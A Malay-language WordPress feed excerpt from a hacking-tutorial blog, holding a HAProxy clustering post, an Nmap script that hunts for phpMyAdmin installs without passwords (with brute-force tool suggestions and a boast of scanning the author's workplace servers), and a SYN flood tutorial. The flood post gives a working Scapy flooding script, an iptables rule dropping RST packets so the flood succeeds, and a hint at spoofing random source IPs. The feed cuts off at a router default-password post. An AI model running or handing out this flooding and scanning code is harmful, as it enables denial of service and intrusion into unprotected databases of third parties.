<div id="attachment_101" class="wp-caption aligncenter" style="width: 421px"><a href="http://gh1mau.files.wordpress.com/2012/01/cookie_web01.png"><img class=" wp-image-101  " src="http://gh1mau.files.wordpress.com/2012/01/cookie_web01.png?w=411&#038;h=352" alt="" width="411" height="352" /></a><p class="wp-caption-text">Caption: Klien diberikan cookie yang merujuk kepada server web01</p></div>
<p>Apabila server web01 down, kita dapat melihat perkara ini pada haproxy status page. Klien masih boleh mengakses web page lagi kerana web02 masih up.</p>
<p style="text-align:center;"><a href="http://gh1mau.files.wordpress.com/2012/01/haproxy_web01_down.png"><img class="aligncenter  wp-image-102" src="http://gh1mau.files.wordpress.com/2012/01/haproxy_web01_down.png?w=491&#038;h=354" alt="" width="491" height="354" /></a></p>
<p style="text-align:left;">Dan kita dapat lihat cookie pada klien sudah berubah.</p>
<div id="attachment_103" class="wp-caption aligncenter" style="width: 421px"><a href="http://gh1mau.files.wordpress.com/2012/01/cookie_web02.png"><img class=" wp-image-103  " src="http://gh1mau.files.wordpress.com/2012/01/cookie_web02.png?w=411&#038;h=352" alt="" width="411" height="352" /></a><p class="wp-caption-text">Caption: Klien diberikan cookie yang merujuk kepada server web02</p></div>
<p>Ok, tamatlah berkenaan dengan apache webclustering. Kalau di tanya apa tujuan clustreing ni, jawapan mudahnya adalah untuk <strong>tujuan high availability</strong>.</p>
<p>Ini merupakan konfigurasi yang asas. Ada beberapa masalah dalam konfigurasi ini :</p>
<ol>
<li>Kalau kita lihat content dalam web01 dan web02 boleh jadi tak sama sekiranya hanya web01 diupdate, kita akan gunakan <strong>rsync</strong> untuk tujuan sync content.</li>
<li>Sekiranya loadbalancer/haproxy down, maka server web (web01 dan web02) tidak dapat diakses. Untuk tujuan ini kita perlukan 2 server loadbalancer/haproxy dengan konfigurasi <strong>heartbeat</strong>.</li>
<li>Konfigurasi apache logfile</li>
</ol>
<p>Insya ALLAH aku akan cuba kongsikan teknik-teknik tersebut dalam posting akan datang.</p>
<p>Happy ha4kin dari pokcik gh1mau <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/gh1mau.wordpress.com/96/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/gh1mau.wordpress.com/96/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/gh1mau.wordpress.com/96/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/gh1mau.wordpress.com/96/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/gh1mau.wordpress.com/96/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/gh1mau.wordpress.com/96/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/gh1mau.wordpress.com/96/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/gh1mau.wordpress.com/96/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/gh1mau.wordpress.com/96/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/gh1mau.wordpress.com/96/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/gh1mau.wordpress.com/96/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/gh1mau.wordpress.com/96/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/gh1mau.wordpress.com/96/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/gh1mau.wordpress.com/96/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=gh1mau.wordpress.com&amp;blog=23080212&amp;post=96&amp;subd=gh1mau&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://gh1mau.wordpress.com/2012/01/10/apache-web-clustering-dengan-haproxy/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/e216d98ee90a78e4856e007e6cf3deac?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">gh1mau</media:title>
		</media:content>

		<media:content url="http://gh1mau.files.wordpress.com/2012/01/cluster_up.png" medium="image" />

		<media:content url="http://gh1mau.files.wordpress.com/2012/01/cluster_down.png" medium="image" />

		<media:content url="http://gh1mau.files.wordpress.com/2012/01/load_balancer_head_request.png" medium="image" />

		<media:content url="http://gh1mau.files.wordpress.com/2012/01/haproxy_status_page.png" medium="image" />

		<media:content url="http://gh1mau.files.wordpress.com/2012/01/cookie_web01.png" medium="image" />

		<media:content url="http://gh1mau.files.wordpress.com/2012/01/haproxy_web01_down.png" medium="image" />

		<media:content url="http://gh1mau.files.wordpress.com/2012/01/cookie_web02.png" medium="image" />
	</item>
		<item>
		<title>http-phpmyadmin-detect.nse</title>
		<link>http://gh1mau.wordpress.com/2012/01/08/http-phpmyadmin-detect-nse/</link>
		<comments>http://gh1mau.wordpress.com/2012/01/08/http-phpmyadmin-detect-nse/#comments</comments>
		<pubDate>Sun, 08 Jan 2012 05:01:00 +0000</pubDate>
		<dc:creator>gh1mau</dc:creator>
				<category><![CDATA[security tutorials]]></category>

		<guid isPermaLink="false">http://gh1mau.wordpress.com/?p=73</guid>
		<description><![CDATA[Salam semua, entri kali ni adalah upgraged script version dari entry aku yang pertama. Kalau korang semua masih ingat, dalam entri aku yang pertama, aku ada postkan satu nmap skrip untuk detect phpmyadmin. So, skrip tu aku dah upgrade sikit, dan nak kongsi dengan korang. Tanpa membuang masa (hehehe), berikut adalah structure skrip tersebut.Aku namakan [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=gh1mau.wordpress.com&amp;blog=23080212&amp;post=73&amp;subd=gh1mau&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Salam semua, entri kali ni adalah upgraged script version dari entry aku yang pertama. Kalau korang semua masih ingat, dalam entri aku yang pertama, aku ada postkan satu nmap skrip untuk detect phpmyadmin.</p>
<p>So, skrip tu aku dah upgrade sikit, dan nak kongsi dengan korang. Tanpa membuang masa (hehehe), berikut adalah structure skrip tersebut.Aku namakan skrip ni sebagai <strong>http-phpmyadmin-detect.nse</strong></p>
<div id="attachment_74" class="wp-caption aligncenter" style="width: 476px"><a href="http://gh1mau.files.wordpress.com/2012/01/http-phpmyadmin-detect_strcuture_wm.png"><img class=" wp-image-74 " src="http://gh1mau.files.wordpress.com/2012/01/http-phpmyadmin-detect_strcuture_wm.png?w=466&#038;h=370" alt="" width="466" height="370" /></a><p class="wp-caption-text">Caption: http-phpmyadmin-detect.nse structure</p></div>
<p>Macam mana skrip ni bekerja? Ok, kita nengok diagram kat bawah ni untuk dapatkan gambaran asas bagaimana fungsi dan workflow skrip ni.</p>
<div id="attachment_78" class="wp-caption aligncenter" style="width: 433px"><a href="http://gh1mau.files.wordpress.com/2012/01/http-phpmyadmin-detect_mindmap_wm.png"><img class=" wp-image-78 " src="http://gh1mau.files.wordpress.com/2012/01/http-phpmyadmin-detect_mindmap_wm.png?w=423&#038;h=332" alt="" width="423" height="332" /></a><p class="wp-caption-text">Caption: fungsi skrip http-phpmyadmin-detect.nse</p></div>
<div id="attachment_92" class="wp-caption aligncenter" style="width: 424px"><a href="http://gh1mau.files.wordpress.com/2012/01/http-phpmyadmin-detect_flowchart1.png"><img class=" wp-image-92 " src="http://gh1mau.files.wordpress.com/2012/01/http-phpmyadmin-detect_flowchart1.png?w=414&#038;h=438" alt="" width="414" height="438" /></a><p class="wp-caption-text">Caption: Flow perjalanan skrip. (Bahagaimana skrip ini bekerja)</p></div>
<p>Berikut adalah skrip <strong>http-phpmyadmin-detect.nse</strong></p>
<p><pre class="brush: perl;">
description = [[
Skrip untuk mengesan aplikasi phpMyAdmin, berdasarkan senarai folder.
Sekiranya phpMyAdmin yang diuji membenarkan fungsi AllowNoPassword,
skrip ini akan memaparkan result : Page phpMyAdmin tidak mempunyai katalaluan.
Sekiranya aplikasi phpMyAdmin menggunakan katalaluan, skrip ini akan
memaparkan result : Page phpMyAdmin mempunyai katalaluan&quot;

Anda boleh membuat password guessing atau menggunakan tools lain untuk proses
bruteforcing. (cadangan tools : thc-hydra, brutus, burp-suite)

Skrip ini dibangunkan untuk tujuan pembelajaran sahaja. Sebarang penyalahgunaan skrip
ini adalah atas tanggungjawab pengguna sendiri

ghimau82[at]yahoo.com
]]

author = &quot;Hussein bin Mohamed a.k.a gh1mau | http://gh1mau.wordpress.com &quot;
license = &quot;Same as nmap -- see http://nmap.org/book/man-legal.htm&quot;
categories = {&quot;discovery&quot;, &quot;intrusive&quot;}

require 'shortport'
require 'http'
require 'stdnse'

--function untuk semak sekiranya response code adalah 200:ditemui
local validate = function(response)
   if not response.status then
     return nil
   end

   if response.status ~= 200 then
     return nil
   end

   if response.status == 200 then
     return response.status
   end

return nil
end

--function untuk output
local output = function(hasil1, hasil2, host, dir)
   local out = &quot;&quot;
      out = out .. &quot;[phpMyAdmin Detection]\n[+] Direktori : &quot;.. dir ..&quot;\n&quot;
      out = out .. &quot;[+] Url : http://&quot;.. stdnse.get_hostname(host) ..&quot;&quot;.. dir ..&quot;\n&quot;
      out = out .. &quot;[+] Page Title : &quot;.. hasil1 ..&quot;\n&quot;
      out = out .. &quot;[+] phpMyAdmin : &quot; .. hasil2 ..&quot;\n&quot;
   return out
end

portrule = shortport.port_or_service({80, 443}, {&quot;http&quot;, &quot;https&quot;})

action = function(host, port)

--senarai directory phpmyadmin (anda boleh menambah lagi senarai anda sendiri)
local dirs = {
   '/ayam/',
   '/PMA/',
   '/pma/',
   '/admin/',
   '/dbadmin/',
   '/mysql/',
   '/myadmin/',
   '/sqlmanager/',
   '/mysqlmanager/',
   '/PMA2005/',
   '/pma2005/',
   '/phpmyadmin/',
   '/phpmanager/',
   '/php-myadmin/',
   '/phpmy-admin/',
   '/webadmin/',
   '/sqlweb/',
   '/websql/',
   '/webdb/',
   '/mysqladmin/',
   '/mysql-admin/',
}

for _, dir in ipairs(dirs) do
   local response = http.generic_request(host, port, &quot;GET&quot;, dir..&quot;main.php&quot;)
      result1 = response.body
      result2 = response.body

      local w = &quot;&quot;
      local w = string.match(result2, &quot;Server version: [%w.-]+&quot;)

   if not string.match(result1, &quot;phpMyAdmin&quot;) then
      result3 = &quot;BUKAN PHPMYADMIN&quot;
   else

   if validate(response) then
      title = string.match(result1, &quot;&lt;[Tt][Ii][Tt][Ll][Ee][^&gt;]*&gt;([^&lt;]*)&lt;/[Tt][Ii][Tt][Ll][Ee]&gt;&quot;)
      result1 = string.gsub(title , &quot;[\n\r\t]&quot;, &quot;&quot;)

   if w == nil then
      result2 = &quot;Page phpMyAdmin mempunyai katalaluan&quot;
   end

   if string.match(w, &quot;Server version:&quot;) then
      result2 = &quot;Page phpMyAdmin tidak mempunyai katalaluan&quot;
   end

   return output(result1,result2, host, dir)
end
end
end
end
</pre></p>
<p>Baiklah, kita cuba runkan skrip dan dan buat analisa ringkas. Korang boleh runkan script dengan dengan command berikut :</p>
<p><strong>nmap alamat_target -p80 -PN &#8211;script http-phpmyadmin-detect.nse</strong></p>
<p>Kita dapat lihat, script ini akan memaparkan beberapa maklumat berkenaan dengan aplikasi phpmyadmin yang diuji.</p>
<div id="attachment_82" class="wp-caption aligncenter" style="width: 452px"><a href="http://gh1mau.files.wordpress.com/2012/01/script_nmap_1.png"><img class=" wp-image-82  " src="http://gh1mau.files.wordpress.com/2012/01/script_nmap_1.png?w=442&#038;h=279" alt="" width="442" height="279" /></a><p class="wp-caption-text">Caption: Skrip http-phpmyadmin-detect.nse in action</p></div>
<p>Walaupun server mempunyai satu folder dengan nama ayam; dan didalam senarai array direktori phpmyadmin mempunyai nama ayam, tetapi script ini tidak memaparkan output bagi folder tersebut, kerana ianya bukan aplikasi phpmyadmin. (Ujian terhadap aplikasi phpmyadmin adalah berdasarkan title page aplikasi tersebut).</p>
<p style="text-align:center;"><a href="http://gh1mau.files.wordpress.com/2012/01/ayams_page.png"><img class="aligncenter  wp-image-83" src="http://gh1mau.files.wordpress.com/2012/01/ayams_page.png?w=430&#038;h=311" alt="" width="430" height="311" /></a></p>
<p style="text-align:left;">Kita runkan wireshark dan kita dapat lihat request yang dilakukan oleh skrip ini.<br />
Gunakan filter <strong>http.request.method == &#8220;GET&#8221;</strong> untuk melihat request yang dilakukan oleh skrip.</p>
<p style="text-align:center;"><a href="http://gh1mau.files.wordpress.com/2012/01/wireshark_1.png"><img class="aligncenter  wp-image-84" src="http://gh1mau.files.wordpress.com/2012/01/wireshark_1.png?w=491&#038;h=354" alt="" width="491" height="354" /></a></p>
<p style="text-align:left;">Kita gunakan filter : <strong>http.response.code == 200</strong> untuk melihat request yang berjaya. Dari sini kita lihat ada 2 request yang berjaya dengan http status code 200. Line 33 adalah folder ayam (ini kerana nama folder ini ada dalam list array skrip ini). Line 225 adalah folder phpmyadmin yang sebenar.</p>
<p style="text-align:center;"><a href="http://gh1mau.files.wordpress.com/2012/01/wireshark_2.png"><img class="aligncenter  wp-image-85" src="http://gh1mau.files.wordpress.com/2012/01/wireshark_2.png?w=491&#038;h=354" alt="" width="491" height="354" /></a></p>
<p style="text-align:center;"><a href="http://gh1mau.files.wordpress.com/2012/01/wireshark_3.png"><img class="aligncenter  wp-image-86" src="http://gh1mau.files.wordpress.com/2012/01/wireshark_3.png?w=491&#038;h=312" alt="" width="491" height="312" /></a></p>
<p style="text-align:left;">Ni adalah hasil scanning aku pada range server kat tempat aku. Hehehe.. Korang leh la try. Insya Allah untuk version akan datang, aku plan nak tambah function untuk <strong>guess password</strong> atau <strong>password bruteforcing</strong>.</p>
<div id="attachment_87" class="wp-caption aligncenter" style="width: 403px"><a href="http://gh1mau.files.wordpress.com/2012/01/w00t.png"><img class=" wp-image-87  " src="http://gh1mau.files.wordpress.com/2012/01/w00t.png?w=393&#038;h=283" alt="" width="393" height="283" /></a><p class="wp-caption-text">Caption: w00t! Hehehe</p></div>
<p>Ok lah untuk kali ni. Insya Allah entri akan datang, aku nak kongsi teknik <strong>clustering</strong> menggunakan ubuntu.</p>
<p>Happy h4ckin dari pokcik gh1mau <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/gh1mau.wordpress.com/73/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/gh1mau.wordpress.com/73/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/gh1mau.wordpress.com/73/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/gh1mau.wordpress.com/73/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/gh1mau.wordpress.com/73/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/gh1mau.wordpress.com/73/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/gh1mau.wordpress.com/73/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/gh1mau.wordpress.com/73/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/gh1mau.wordpress.com/73/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/gh1mau.wordpress.com/73/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/gh1mau.wordpress.com/73/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/gh1mau.wordpress.com/73/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/gh1mau.wordpress.com/73/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/gh1mau.wordpress.com/73/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=gh1mau.wordpress.com&amp;blog=23080212&amp;post=73&amp;subd=gh1mau&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://gh1mau.wordpress.com/2012/01/08/http-phpmyadmin-detect-nse/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/e216d98ee90a78e4856e007e6cf3deac?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">gh1mau</media:title>
		</media:content>

		<media:content url="http://gh1mau.files.wordpress.com/2012/01/http-phpmyadmin-detect_strcuture_wm.png" medium="image" />

		<media:content url="http://gh1mau.files.wordpress.com/2012/01/http-phpmyadmin-detect_mindmap_wm.png" medium="image" />

		<media:content url="http://gh1mau.files.wordpress.com/2012/01/http-phpmyadmin-detect_flowchart1.png" medium="image" />

		<media:content url="http://gh1mau.files.wordpress.com/2012/01/script_nmap_1.png" medium="image" />

		<media:content url="http://gh1mau.files.wordpress.com/2012/01/ayams_page.png" medium="image" />

		<media:content url="http://gh1mau.files.wordpress.com/2012/01/wireshark_1.png" medium="image" />

		<media:content url="http://gh1mau.files.wordpress.com/2012/01/wireshark_2.png" medium="image" />

		<media:content url="http://gh1mau.files.wordpress.com/2012/01/wireshark_3.png" medium="image" />

		<media:content url="http://gh1mau.files.wordpress.com/2012/01/w00t.png" medium="image" />
	</item>
		<item>
		<title>SYN Flood Attack</title>
		<link>http://gh1mau.wordpress.com/2011/12/31/syn-flood-attack/</link>
		<comments>http://gh1mau.wordpress.com/2011/12/31/syn-flood-attack/#comments</comments>
		<pubDate>Sat, 31 Dec 2011 06:00:16 +0000</pubDate>
		<dc:creator>gh1mau</dc:creator>
				<category><![CDATA[security tutorials]]></category>

		<guid isPermaLink="false">http://gh1mau.wordpress.com/?p=52</guid>
		<description><![CDATA[Pada entry yang lalu kita ada bincangkan pasal nmap SYN Scan atau Half Open Scan. Entry kali ni pula adalah berkaitan dengan SYN Flooding Attack. Mesti korang biasa dengan term DOS Attack. DOS Attack adalah satu jenis serangan terhadap service atau server tu sendiri dengan tujuan agar server tu down dan tak boleh di akses [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=gh1mau.wordpress.com&amp;blog=23080212&amp;post=52&amp;subd=gh1mau&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Pada entry yang lalu kita ada bincangkan pasal nmap SYN Scan atau Half Open Scan. Entry kali ni pula adalah berkaitan dengan <strong>SYN Flooding Attack</strong>.</p>
<p>Mesti korang biasa dengan term <strong>DOS Attack</strong>. DOS Attack adalah satu jenis serangan terhadap service atau server tu sendiri dengan tujuan agar server tu down dan tak boleh di akses oleh client yang lain.</p>
<p><strong>SYN Flood</strong> atau disebut juga <strong>SYN queue flood</strong> adalah salah satu dari DOS attack. (Kalau banyak attacker yang attack disebutlah DDOS:Distributed Denial of Service Attack)</p>
<p>Ok, kita tengok dulu normal tcp connection. Connection antara 2 client akan melalui proses <strong>3-Way handshake</strong>.rasanya tak perlu nak explain kot.</p>
<div id="attachment_53" class="wp-caption aligncenter" style="width: 343px"><a href="http://gh1mau.files.wordpress.com/2011/12/tcp_3way_handshake_wm.png"><img class="size-full wp-image-53" title="" src="http://gh1mau.files.wordpress.com/2011/12/tcp_3way_handshake_wm.png?w=614" alt=""   /></a><p class="wp-caption-text">TCP 3 Way Handshake</p></div>
<p>Ok, kita tengok capture wireshark kat bawah. Source address pertama adalah client yang cuba akses website google. Kita akan nampak berlakunya TCP 3 way handshake ni. Setelah selesai, baru requesting dan transfering of data berlaku.</p>
<div id="attachment_54" class="wp-caption aligncenter" style="width: 624px"><a href="http://gh1mau.files.wordpress.com/2011/12/tcp_3way_handshake_wireshark_wm.png"><img class="size-full wp-image-54" title="" src="http://gh1mau.files.wordpress.com/2011/12/tcp_3way_handshake_wireshark_wm.png?w=614&#038;h=97" alt="" width="614" height="97" /></a><p class="wp-caption-text">TCP 3 Way Handshake dilihat dari wireshark capture</p></div>
<p>Sekarang ni kita lihat, bagaimana SYN Flood ni beroperasi.</p>
<div id="attachment_55" class="wp-caption aligncenter" style="width: 231px"><a href="http://gh1mau.files.wordpress.com/2011/12/syn_flood_wm.png"><img class="size-full wp-image-55" title="" src="http://gh1mau.files.wordpress.com/2011/12/syn_flood_wm.png?w=614" alt=""   /></a><p class="wp-caption-text">Proses SYN Flooding pada Target Server</p></div>
<p>Attacker akan hantar <strong>packet SYN</strong> kepada server. Dan seperti biasa server akan reply balik <strong>packet SYN|ACK</strong> kepada attacker. Sepatutnya Attacker perlu reply balik dengan packet ACK kepada server,<strong> tetapi Attacker tidak menghantar packet tersebut</strong>. Dan server akan tunggu reply packet ACK dari Attacker.</p>
<p>Dan ini yang dinamakan<strong> &#8220;half open&#8221;</strong>. Server akan &#8220;menyimpan&#8221; connection ini dalam Backlog Queue(Sebab server bagi masa kepada client:Attacker untuk reply balik packet ACK supaya dapat teruskan sesi).Setelah selang masa tertentu, Queue ini akan dibuang dari server.</p>
<p>Attacker pula akan menghantar lebih banyak packet SYN kepada server sebelum server sempat membuang connections tadi dari Backlog Queue(Dan Attacker tetap tidak reply dengan packet ACK kepada server), dan hasilnya, Queue ini akan overflow.</p>
<p>Bila perkara ini terjadi, server sudah tidak boleh menerima connection yang lain lagi.</p>
<p>Ok, enough of theories, let&#8217;s do practical <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  Hehehe</p>
<p>Sekarang ni senario dia macam ni, kita ada 2 Attacker dan 1 Target. Attacker 1 akan melakukan port svan terhadap target untuk mengetahui port mana yang dibuka.</p>
<div id="attachment_56" class="wp-caption aligncenter" style="width: 440px"><a href="http://gh1mau.files.wordpress.com/2011/12/nmap_target_wm.png"><img class=" wp-image-56 " src="http://gh1mau.files.wordpress.com/2011/12/nmap_target_wm.png?w=430&#038;h=240" alt="" width="430" height="240" /></a><p class="wp-caption-text">Scan target dengan nmap untuk lihat service mana yang open</p></div>
<p>Dari result nmap, kita dapati port 80 dibuka. So kita akan flood port 80 tu. Kita akan buat syn flood menggunakan script kat bawah ni.</p>
<p><pre class="brush: python;">

#! /usr/bin/env python
# Syn Flood For Testing Purpose
# Hussein b. Mohamed a.k.a gh1mau

import sys,random
from scapy.all import *
if len(sys.argv) != 3:
print &quot;Usage: %s &lt;Alamat IP&gt; &lt;Port&gt;&quot; % sys.argv[0]
sys.exit(1)

alamat_target = sys.argv[1]
port_target = int(sys.argv[2])

#source_random = RandIP(&quot;0.0.0.0/0&quot;)
print &quot;Maklumat Packet Yang Dihantar&quot;
info=IP(dst=alamat_target,ttl=128)/TCP(sport=RandShort(),dport=port_target,flags=&quot;S&quot;)
ls(info)

print &quot;SYN Flooding bermula&quot;
ans,unans=srloop(info,inter=0.3,retry=2,timeout=4)

print &quot;Ringkasan packet yang dihantar&quot;
ans.summary()
unans.summary()
print &quot;source port flag:&quot;
ans.make_table(lambda(s,r): (s.dst, s.dport, r.sprintf(&quot;%IP.id% \t %IP.ttl% \t %TCP.flags%&quot;)))
</pre></p>
<p>Untuk runkan script ni, perlu ada python dan scapy library. Script ni akan buat connection pada target, dari random port. Kita setkan ttl value 128, so target akan ingat kita ni adalah windows machine. Kalau perasan, ada line <strong>#source_random = RandIP(&#8220;0.0.0.0/0&#8243;)</strong> pada script ni. Kita leh uncomment dan script ni akan hantar packet dari random ip <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Bila kita analisa capture dari Attacker 1(fail:cap_1), kita dapati, Attacker 1 menghantar packet SYN, dan Target reply balik dengan packet SYN|ACK.</p>
<p style="text-align:center;"><a href="http://gh1mau.files.wordpress.com/2011/12/cap_1_wm.png"><img class="aligncenter  wp-image-57" src="http://gh1mau.files.wordpress.com/2011/12/cap_1_wm.png?w=430&#038;h=310" alt="" width="430" height="310" /></a></p>
<p style="text-align:left;">Akan tetapi, Attacker juga menghantar kepada target packet packet RST. Kita perlu halang perkara ini supaya SYN Flood kita berjaya.</p>
<div id="attachment_58" class="wp-caption aligncenter" style="width: 440px"><a href="http://gh1mau.files.wordpress.com/2011/12/cap_1_rst_wm.png"><img class=" wp-image-58 " src="http://gh1mau.files.wordpress.com/2011/12/cap_1_rst_wm.png?w=430&#038;h=310" alt="" width="430" height="310" /></a><p class="wp-caption-text">Gunakan filter tcp.flags.reset : untuk melihat RST packet</p></div>
<p>Kita tambah command iptables berikut pada Attacker, dengan tujuan agar iptable ini akan DROP packet RST. (Bila target menerima packet RST dari Attacker, half open tidak berlaku, dan SYN Flood attack akan gagal)</p>
<blockquote><p><strong>sudo iptables -A OUTPUT -p tcp -s 10.55.32.28 &#8211;tcp-flags RST RST -j DROP</strong></p></blockquote>
<p>Bila kira runkan kembali script syn_flood kita, dan kita buat packet capture, kita dapati Attacker 1 sudah tidak menghantar RST packet lagi kepada target. Ini kerana iptables yang kita setkan tadi, telah berjaya <strong>DROP RST Packet dari Attacker 1 kepada Target</strong>.</p>
<div id="attachment_59" class="wp-caption aligncenter" style="width: 440px"><a href="http://gh1mau.files.wordpress.com/2011/12/cap_2_norst_wm.png"><img class=" wp-image-59 " src="http://gh1mau.files.wordpress.com/2011/12/cap_2_norst_wm.png?w=430&#038;h=310" alt="" width="430" height="310" /></a><p class="wp-caption-text">Packet RST sudah tidak dihantar lagi oleh Attacker 1</p></div>
<p style="text-align:left;">Pada Attacker 2, kita jalankan juga script syn_flood.py, dan pastikan setting iptables dibuat agar packet RST dari Attacker 2 di DROP. Nantikan sehingga target down <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . Sekiranya Attacker menghantar packet RST(atau apa-apa packet lain setelah target reply dengan SYN|ACK, Target akan menganggap connection tersebut berjaya : full tcp connections, so <strong>SYN Flood ini akan gagal.</strong></p>
<p style="text-align:left;">Pada target server, kita boleh jalan command berikut untuk melihat berapa banyak connections.</p>
<blockquote><p><strong>netstat | grep &#8220;www&#8221; | grep -iv &#8220;ESTABLISHED&#8221; | wc -l</strong></p></blockquote>
<p style="text-align:center;"><a href="http://gh1mau.files.wordpress.com/2011/12/netstat_target.png"><img class="aligncenter  wp-image-60" src="http://gh1mau.files.wordpress.com/2011/12/netstat_target.png?w=430&#038;h=203" alt="" width="430" height="203" /></a></p>
<p style="text-align:left;">Happy h4ckin dari pokcik gh1mau <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/gh1mau.wordpress.com/52/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/gh1mau.wordpress.com/52/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/gh1mau.wordpress.com/52/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/gh1mau.wordpress.com/52/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/gh1mau.wordpress.com/52/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/gh1mau.wordpress.com/52/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/gh1mau.wordpress.com/52/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/gh1mau.wordpress.com/52/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/gh1mau.wordpress.com/52/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/gh1mau.wordpress.com/52/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/gh1mau.wordpress.com/52/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/gh1mau.wordpress.com/52/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/gh1mau.wordpress.com/52/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/gh1mau.wordpress.com/52/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=gh1mau.wordpress.com&amp;blog=23080212&amp;post=52&amp;subd=gh1mau&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://gh1mau.wordpress.com/2011/12/31/syn-flood-attack/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/e216d98ee90a78e4856e007e6cf3deac?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">gh1mau</media:title>
		</media:content>

		<media:content url="http://gh1mau.files.wordpress.com/2011/12/tcp_3way_handshake_wm.png" medium="image" />

		<media:content url="http://gh1mau.files.wordpress.com/2011/12/tcp_3way_handshake_wireshark_wm.png" medium="image" />

		<media:content url="http://gh1mau.files.wordpress.com/2011/12/syn_flood_wm.png" medium="image" />

		<media:content url="http://gh1mau.files.wordpress.com/2011/12/nmap_target_wm.png" medium="image" />

		<media:content url="http://gh1mau.files.wordpress.com/2011/12/cap_1_wm.png" medium="image" />

		<media:content url="http://gh1mau.files.wordpress.com/2011/12/cap_1_rst_wm.png" medium="image" />

		<media:content url="http://gh1mau.files.wordpress.com/2011/12/cap_2_norst_wm.png" medium="image" />

		<media:content url="http://gh1mau.files.wordpress.com/2011/12/netstat_target.png" medium="image" />
	</item>
		<item>
		<title>AT-AR750S Router Default Pass</title>
		<link>http://gh1mau.wordpress.com/2011/12/23/at-ar750s-router-default-pass/</link>
		<comments>http://gh1mau.wordpress.com/2011/12/23/at-ar750s-router-default-pass/#comments</comments>
		<pubDate>Fri, 23 Dec 2011 08:03:48 +0000</pubDate>
		<dc:creator>gh1mau</dc:creator>
				<category><![CDATA[security tutorials]]></category>

		<guid isPermaLink="false">http://gh1mau.wordpress.com/?p=40</guid>
